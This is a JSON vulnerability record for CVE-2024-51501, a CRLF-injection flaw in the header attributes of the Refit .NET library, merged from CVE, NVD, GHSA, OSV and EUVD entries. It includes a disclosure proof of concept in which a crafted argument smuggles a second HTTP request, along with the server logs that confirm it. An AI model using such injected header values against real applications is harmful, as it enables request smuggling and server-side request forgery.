{"id":"CVE-2024-51501","aliases":["EUVD-2024-3184","GHSA-3hxg-fxwm-8gf7"],"status":"published","title":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes","description":"Refit is an automatic type-safe REST library for .NET Core, Xamarin and .NET The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection. The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method. This method does not check for CRLF characters in the header value. This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using Refit and not in Refit itself. This issue has been addressed in release versions 7.2.22 and 8.0.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00562,"percentile":0.47056,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-93"],"published":"2024-11-04T22:56:50Z","modified":"2026-10-28T02:30:32Z","fixes":[{"ecosystem":"NuGet","package":"Refit","fixed_in":["7.2.22"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"Refit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.22"}]}]},{"source":"osv","ecosystem":"NuGet","package":"Refit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.22"}]}],"versions":["1.0.0","1.1.0","1.2.0","1.3.0","2.0.0","2.0.1","2.0.2","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","3.0.0","3.0.1","3.1.0","4.0.0","4.0.1","4.1.0","4.2.0","4.3.0","4.4.17","4.5.4","4.5.6","4.6.107","4.6.15","4.6.16","4.6.30","4.6.48","4.6.58","4.6.85","4.6.90","4.6.99","4.7.5","4.7.51","4.7.9","4.8.14","5.0.15","5.0.23","5.1.26","5.1.27","5.1.54","5.1.67","5.2.1","5.2.4","6.0.1","6.0.15","6.0.21","6.0.24","6.0.38","6.0.8","6.0.94","6.1.15","6.2.14","6.2.16","6.3.2","6.4.1","6.5.1","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","7.2.1"]}],"products":[{"vendor":"reactiveui","product":"refit"}],"references":[{"url":"https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51501","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3hxg-fxwm-8gf7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/51xxx/CVE-2024-51501.json","tags":["advisory"]},{"url":"https://github.com/reactiveui/refit","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-51501","title":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes","description":"Refit is an automatic type-safe REST library for .NET Core, Xamarin and .NET The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection. The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method. This method does not check for CRLF characters in the header value. This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using Refit and not in Refit itself. This issue has been addressed in release versions 7.2.22 and 8.0.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-04T22:56:50.231Z","modified":"2024-11-08T15:18:51.985Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:34:01.972857Z"}],"euvd":[{"id":"EUVD-2024-3184","description":"Refit is an automatic type-safe REST library for .NET Core, Xamarin and .NET The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection. The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method. This method does not check for CRLF characters in the header value. This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using Refit and not in Refit itself. This issue has been addressed in release versions 7.2.22 and 8.0.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-04T22:56:50Z","modified":"2024-11-08T15:18:51Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-03T00:05:06.31936Z"}],"ghsa":[{"id":"GHSA-3hxg-fxwm-8gf7","title":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes ","description":"### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n    private static void Main(string[] args)\n    {\n        // Usage: dotnet run \u003cbearer token\u003e \n        string token = args[0];\n        var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n        string response = service.GetStatus(token).Result;\n        Console.WriteLine($\"Response: {response}\");\n    }\n\n    public interface IStatusApi\n    {\n        [Get(\"/status\")]\n        Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here'\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n","status":"published","published":"2024-11-04T23:23:17Z","modified":"2024-11-08T15:19:17Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:38:16.477822Z"}],"nvd":[{"id":"CVE-2024-51501","description":"Refit is an automatic type-safe REST library for .NET Core, Xamarin and .NET The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection. The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method. This method does not check for CRLF characters in the header value. This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using Refit and not in Refit itself. This issue has been addressed in release versions 7.2.22 and 8.0.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-04T23:15:04.893Z","modified":"2026-06-17T08:05:48.977Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:10:35.864552Z"}],"osv":[{"id":"CVE-2024-51501","title":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes","description":"Refit is an automatic type-safe REST library for .NET Core, Xamarin and .NET The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection. The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method. This method does not check for CRLF characters in the header value. This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using Refit and not in Refit itself. This issue has been addressed in release versions 7.2.22 and 8.0.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-11-04T22:56:50.231Z","modified":"2026-10-28T02:30:32.35029137Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:44:44.032344Z"},{"id":"GHSA-3hxg-fxwm-8gf7","title":"CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes ","description":"### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n    private static void Main(string[] args)\n    {\n        // Usage: dotnet run \u003cbearer token\u003e \n        string token = args[0];\n        var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n        string response = service.GetStatus(token).Result;\n        Console.WriteLine($\"Response: {response}\");\n    }\n\n    public interface IStatusApi\n    {\n        [Get(\"/status\")]\n        Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n    }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here'\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n","status":"published","published":"2024-11-04T23:23:17Z","modified":"2024-11-08T15:35:21.927958Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:35.747385Z"}]}}